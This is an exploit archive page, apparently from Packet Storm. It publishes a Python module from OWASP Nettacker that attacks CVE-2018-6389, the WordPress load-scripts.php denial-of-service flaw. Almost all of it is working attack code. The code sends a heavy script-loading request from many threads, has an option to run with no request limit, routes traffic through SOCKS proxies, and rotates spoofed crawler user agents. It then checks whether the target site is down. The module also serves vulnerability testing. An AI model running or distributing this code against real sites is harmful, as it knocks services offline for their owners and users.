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WordPress Core Denial Of Service

WordPress Core Denial Of Service
Posted Feb 6, 2018
Authored by Ali Razmjoo

WordPress load-scripts.php denial of service exploit.

tags | exploit, denial of service, php
advisories | CVE-2018-6389
MD5 | c5199aa5847b27d9f9ce21b843ab9fee

WordPress Core Denial Of Service

Change Mirror Download
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# Developed using OWASP Nettacker - https://www.owasp.org/index.php/OWASP_Nettacker
# Exploit Author: OWASP Nettacker
# Description: WordPress Core - 'load-scripts.php' Denial of Service (CVE-2018-6389)
# February 5, 2018
#
#
#
# references
# https://www.youtube.com/watch?v=nNDsGTalXS0
# https://baraktawily.blogspot.nl/2018/02/how-to-dos-29-of-world-wide-websites.html
# https://github.com/viraintel/OWASP-Nettacker/blob/master/lib/vuln/wordpress_dos_cve_2018_6389/engine.py
#
#
# usage:
# vulnerability test: python nettacker.py -i http://wpsite/ -m wordpress_dos_cve_2018_6389_vuln
# stress test without stopping: python nettacker.py -i http://wpsite/ -m wordpress_dos_cve_2018_6389_vuln --method-args wordpress_dos_cve_2018_6389_vuln_no_limit=True
#
#
# you can also set threads with -t switch or test on list of targets, use --help command to learn more.


import socket
import socks
import time
import json
import threading
import string
import random
import requests
import random
import os
from core.alert import *
from core.targets import target_type
from core.targets import target_to_host
from core.load_modules import load_file_path
from lib.icmp.engine import do_one as do_one_ping
from lib.socks_resolver.engine import getaddrinfo
from core._time import now
from core.log import __log_into_file
from core._die import __die_failure


def extra_requirements_dict():
return {

"wordpress_dos_cve_2018_6389_vuln_random_agent": ["True"],
"wordpress_dos_cve_2018_6389_vuln_no_limit": ["False"],
}


def send_dos(target, user_agent, timeout_sec, log_in_file, language, time_sleep, thread_tmp_filename, retries,
socks_proxy, scan_id, scan_cmd):
time.sleep(time_sleep)
payload = "/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack" \
",quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api" \
"-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype" \
",scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous" \
"-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls," \
"scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core," \
"jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip" \
",jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold," \
"jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale," \
"jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer," \
"jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker," \
"jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse," \
"jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable," \
"jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs," \
"jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query," \
"jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest," \
"imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers," \
"wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore," \
"backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement," \
"mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror," \
"csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor," \
"wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest," \
"admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader," \
"customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh," \
"customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus," \
"wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo," \
"mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link," \
"comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget," \
"media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post," \
"inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision," \
"media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery," \
"svg-painter&ver=4.9.1"
try:
if socks_proxy is not None:
socks_version = socks.SOCKS5 if socks_proxy.startswith('socks5://') else socks.SOCKS4
socks_proxy = socks_proxy.rsplit('://')[1]
if '@' in socks_proxy:
socks_username = socks_proxy.rsplit(':')[0]
socks_password = socks_proxy.rsplit(':')[1].rsplit('@')[0]
socks.set_default_proxy(socks_version, str(socks_proxy.rsplit('@')[1].rsplit(':')[0]),
int(socks_proxy.rsplit(':')[-1]), username=socks_username,
password=socks_password)
socket.socket = socks.socksocket
socket.getaddrinfo = getaddrinfo
else:
socks.set_default_proxy(socks_version, str(socks_proxy.rsplit(':')[0]), int(socks_proxy.rsplit(':')[1]))
socket.socket = socks.socksocket
socket.getaddrinfo = getaddrinfo
r = requests.get(target + payload, timeout=timeout_sec, headers=user_agent, verify=True).content
return True
except:
return False


def test(target, retries, timeout_sec, user_agent, socks_proxy, verbose_level, trying, total_req, total,
num, language, dos_flag, log_in_file, scan_id, scan_cmd, thread_tmp_filename):
if verbose_level > 3:
info(messages(language, 72).format(trying, total_req, num, total, target_to_host(target), '',
'wordpress_dos_cve_2018_6389_vuln'))
if socks_proxy is not None:
socks_version = socks.SOCKS5 if socks_proxy.startswith('socks5://') else socks.SOCKS4
socks_proxy = socks_proxy.rsplit('://')[1]
if '@' in socks_proxy:
socks_username = socks_proxy.rsplit(':')[0]
socks_password = socks_proxy.rsplit(':')[1].rsplit('@')[0]
socks.set_default_proxy(socks_version, str(socks_proxy.rsplit('@')[1].rsplit(':')[0]),
int(socks_proxy.rsplit(':')[-1]), username=socks_username,
password=socks_password)
socket.socket = socks.socksocket
socket.getaddrinfo = getaddrinfo
else:
socks.set_default_proxy(socks_version, str(socks_proxy.rsplit(':')[0]), int(socks_proxy.rsplit(':')[1]))
socket.socket = socks.socksocket
socket.getaddrinfo = getaddrinfo
n = 0
while 1:
try:
r = requests.get(target, timeout=timeout_sec, headers=user_agent, verify=True).content
return 0
except:
n += 1
if n is retries:
if dos_flag:
__log_into_file(thread_tmp_filename, 'w', '0', language)
info(messages(language, 139).format("wordpress_dos_cve_2018_6389_vuln"))
data = json.dumps({'HOST': target_to_host(target), 'USERNAME': '', 'PASSWORD': '', 'PORT': '',
'TYPE': 'wordpress_dos_cve_2018_6389_vuln',
'DESCRIPTION': messages(language, 139).format(
"wordpress_dos_cve_2018_6389_vuln"), 'TIME': now(), 'CATEGORY': "scan",
'SCAN_ID': scan_id, 'SCAN_CMD': scan_cmd})
__log_into_file(log_in_file, 'a', data, language)
return 1


def start(target, users, passwds, ports, timeout_sec, thread_number, num, total, log_in_file, time_sleep, language,
verbose_level, socks_proxy, retries, ping_flag, methods_args, scan_id, scan_cmd): # Main function
if target_type(target) != 'SINGLE_IPv4' or target_type(target) != 'DOMAIN' or target_type(
target) != 'HTTP' or target_type(target) != 'SINGLE_IPv6':
# rand useragent
user_agent_list = [
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5",
"Googlebot/2.1 ( http://www.googlebot.com/bot.html)",
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04"
" Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13",
"Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)",
"Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51",
"Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620",
"Debian APT-HTTP/1.3 (0.8.10.3)",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
"Googlebot/2.1 (+http://www.googlebot.com/bot.html)",
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
"YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; "
"http://help.yahoo.com/help/us/shop/merchant/)",
"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)",
"Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)",
"msnbot/1.1 (+http://search.msn.com/msnbot.htm)"
]
user_agent = {'User-agent': random.choice(user_agent_list)}
limit = 1000
# requirements check
new_extra_requirements = extra_requirements_dict()
if methods_args is not None:
for extra_requirement in extra_requirements_dict():
if extra_requirement in methods_args:
new_extra_requirements[extra_requirement] = methods_args[extra_requirement]
extra_requirements = new_extra_requirements
random_agent_flag = True
if extra_requirements["wordpress_dos_cve_2018_6389_vuln_random_agent"][0] != "True":
random_agent_flag = False
if extra_requirements["wordpress_dos_cve_2018_6389_vuln_no_limit"][0] != "False":
limit = -1
if ping_flag:
if socks_proxy is not None:
socks_version = socks.SOCKS5 if socks_proxy.startswith('socks5://') else socks.SOCKS4
socks_proxy = socks_proxy.rsplit('://')[1]
if '@' in socks_proxy:
socks_username = socks_proxy.rsplit(':')[0]
socks_password = socks_proxy.rsplit(':')[1].rsplit('@')[0]
socks.set_default_proxy(socks_version, str(socks_proxy.rsplit('@')[1].rsplit(':')[0]),
int(socks_proxy.rsplit(':')[-1]), username=socks_username,
password=socks_password)
socket.socket = socks.socksocket
socket.getaddrinfo = getaddrinfo
else:
socks.set_default_proxy(socks_version, str(socks_proxy.rsplit(':')[0]),
int(socks_proxy.rsplit(':')[1]))
socket.socket = socks.socksocket
socket.getaddrinfo = getaddrinfo
warn(messages(language, 100).format(target, 'wordpress_dos_cve_2018_6389_vuln'))
if do_one_ping(target, timeout_sec, 8) is None:
return None
threads = []
max = thread_number
total_req = limit
filepath = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))
thread_tmp_filename = '{}/tmp/thread_tmp_'.format(load_file_path()) + ''.join(
random.choice(string.ascii_letters + string.digits) for _ in range(20))
__log_into_file(thread_tmp_filename, 'w', '1', language)
trying = 0
if target_type(target) == 'SINGLE_IPv4' or target_type(target) == 'DOMAIN':
url = 'http://{0}/'.format(target)
else:
if target.count(':') > 1:
__die_failure(messages(language, 105))
http = target.rsplit('://')[0]
host = target_to_host(target)
path = "/".join(target.replace('http://', '').replace('https://', '').rsplit('/')[1:])
url = http + '://' + host + '/' + path
if test(url, retries, timeout_sec, user_agent, socks_proxy, verbose_level, trying, total_req, total, num,
language, False, log_in_file, scan_id, scan_cmd, thread_tmp_filename) is not 0:
warn(messages(language, 109).format(url))
return
n = 0
t = threading.Thread(target=test,
args=(
url, retries, timeout_sec, user_agent, socks_proxy, verbose_level, trying, total_req,
total, num, language, True, log_in_file, scan_id, scan_cmd, thread_tmp_filename))
t.start()
while (n != limit):
n += 1
if random_agent_flag:
user_agent = {'User-agent': random.choice(user_agent_list)}
t = threading.Thread(target=send_dos,
args=(url, user_agent, timeout_sec, log_in_file, language, time_sleep,
thread_tmp_filename, retries, socks_proxy, scan_id,
scan_cmd))
threads.append(t)
t.start()
trying += 1
if verbose_level > 3:
info(messages(language, 72).format(trying, total_req, num, total, target_to_host(target), port,
'wordpress_dos_cve_2018_6389_vuln'))
try:
if int(open(thread_tmp_filename).read().rsplit()[0]) is 0:
if limit is not -1:
break
except:
pass
while 1:
try:
if threading.activeCount() >= max:
time.sleep(0.01)
else:
break
except KeyboardInterrupt:
break
break

# wait for threads
kill_switch = 0
kill_time = int(timeout_sec / 0.1) if int(timeout_sec / 0.1) is not 0 else 1
while 1:
time.sleep(0.1)
kill_switch += 1
try:
if threading.activeCount() is 2 or kill_switch is kill_time:
break
except KeyboardInterrupt:
break
thread_write = int(open(thread_tmp_filename).read().rsplit()[0])
if thread_write is 1:
info(messages(language, 141).format("wordpress_dos_cve_2018_6389_vuln"))
if verbose_level is not 0:
data = json.dumps({'HOST': target, 'USERNAME': '', 'PASSWORD': '', 'PORT': '',
'TYPE': 'wordpress_dos_cve_2018_6389_vuln',
'DESCRIPTION': messages(language, 141).format("wordpress_dos_cve_2018_6389_vuln"),
'TIME': now(), 'CATEGORY': "scan",
'SCAN_ID': scan_id, 'SCAN_CMD': scan_cmd})
__log_into_file(log_in_file, 'a', data, language)
os.remove(thread_tmp_filename)
else:
warn(messages(language, 69).format('wordpress_dos_cve_2018_6389_vuln', target))

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